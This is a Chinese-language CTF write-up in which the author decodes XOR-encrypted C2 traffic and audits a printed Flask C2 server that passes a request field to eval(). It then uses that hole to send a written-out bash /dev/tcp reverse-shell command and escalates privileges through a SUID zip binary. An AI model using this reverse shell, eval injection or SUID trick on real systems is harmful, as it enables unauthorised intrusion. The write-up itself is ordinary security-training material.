本来在CTF中应该都是基操,但是因为本人太菜,弄了好几天才出。。。(T0T)

题目

image-20240402165312088

先是流量分析,看到了很多TCP和HTTP流,追踪大概看一下

image-20240402164740735

看起来传输了很多加密的信息,先把它们全都手动整理出来

image-20240402164916818

直接解base64解不出,但是POST传参时看到了一个random_key,猜是异或用的,果然

image-20240402165223751

看到用curl从攻击机读取了一个文件,我也试着读了一下,发现可以从攻击机中读到任意文件,于是读到了第一个flag

image-20240402165620146

从读一些不存在的文件产生的报错中可以看到python flask源码,读下来进行审计

image-20240402165819762

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from flask import Flask, request, jsonify, send_file
import os
import secrets
import base64
from pwn import xor
from threading import Thread

app = Flask(__name__)

clients = {"4ace608657cba629": {"command": "whoami", "random_key": 95}}


@app.route("/init", methods=["GET"])
def init():
client_id = secrets.token_hex(8)
random_key = secrets.randbelow(255)
clients[client_id] = {"command": "echo hello", "random_key": random_key}
return jsonify({"client_id": client_id, "random_key": random_key})


@app.route("/recv", methods=["POST"])
def send_command():
data = request.json
client_id = data["client_id"]
print(client_id, data["random_key"])
command = clients[client_id].get("command", "")
encrypted_command = encrypt_command(
command, clients[client_id]["random_key"])
return jsonify({"encrypted_command": encrypted_command})


@app.route("/send", methods=["POST"])
def recv_data():
data = request.json
client_id = data["client_id"]
if eval(data["random_key"]) != clients[client_id]["random_key"]:
return f"data error", 200
encrypted_data = data["data"]
decrypted_data = decrypt_data(
encrypted_data, clients[client_id]["random_key"])
print(f"Received data: {decrypted_data.decode()}")
return f"Received data", 200


@app.route("/files", methods=["POST"])
def recv_file():
data = request.json
client_id = data["client_id"]
random_key = data["random_key"]
path = data["path"]

if client_id not in clients.keys():
return jsonify(
{"message": "Invalid client_id"}
)

if clients[client_id]["random_key"] == int(random_key):
return send_file(path)
else:
return jsonify(
{"message": "incorrect random_key"}
)


def encrypt_command(command, key):
encrypted_data = xor(command, key)
return base64.b64encode(encrypted_data).decode()


def decrypt_data(encrypted_data, key):
encrypted_data = base64.b64decode(encrypted_data)
return xor(encrypted_data, key)


def run_flask_app():
app.run(host="0.0.0.0", debug=True, port=1337, use_reloader=False)


if __name__ == "__main__":
flask_thread = Thread(target=run_flask_app)
flask_thread.start()

while True:
command = input("Enter command: ")
for client_id in clients.keys():
clients[client_id]["command"] = command
print(f"Executing: {command}")

可以看到在判断random_key是否正确的地方存在一个我们CTFer最喜欢的eval,于是可以通过这个漏洞执行RCE

反弹shell拿下C2服务器

给攻击机传bash -c “bash -i >& /dev/tcp/ip/port 0>&1”

屏幕截图 2024-04-02 170509

自己的服务器监听2333端口

image-20240402170726047

ps aux查看一下运行的程序

image-20240402171043213

可以看到C2服务器是用tmux运行的,那么用tmux回到这个会话(后来开放了ssh,用ssh连,先把自己的公钥配置进去,这里不再赘述)

image-20240402180037287

有点问题,那么就先把前面的tmux进程kill了再启动,根据它给的id和key改一下server.py,kill了再启动

image-20240402180438620

image-20240402180615128

image-20240402180708976

输指令反弹shell

屏幕截图 2024-04-02 180909

image-20240402181031310

可以看到现在的用户是ctf,但是flag在/root/flag.txt下,需要提权

这里用suid提权,先看一下哪些文件有suid权限

image-20240402181207616

gtfobins上面查到可以利用/usr/bin/zip提权读取文件,以此得到第二个flag

image-20240402181337524

image-20240402181431988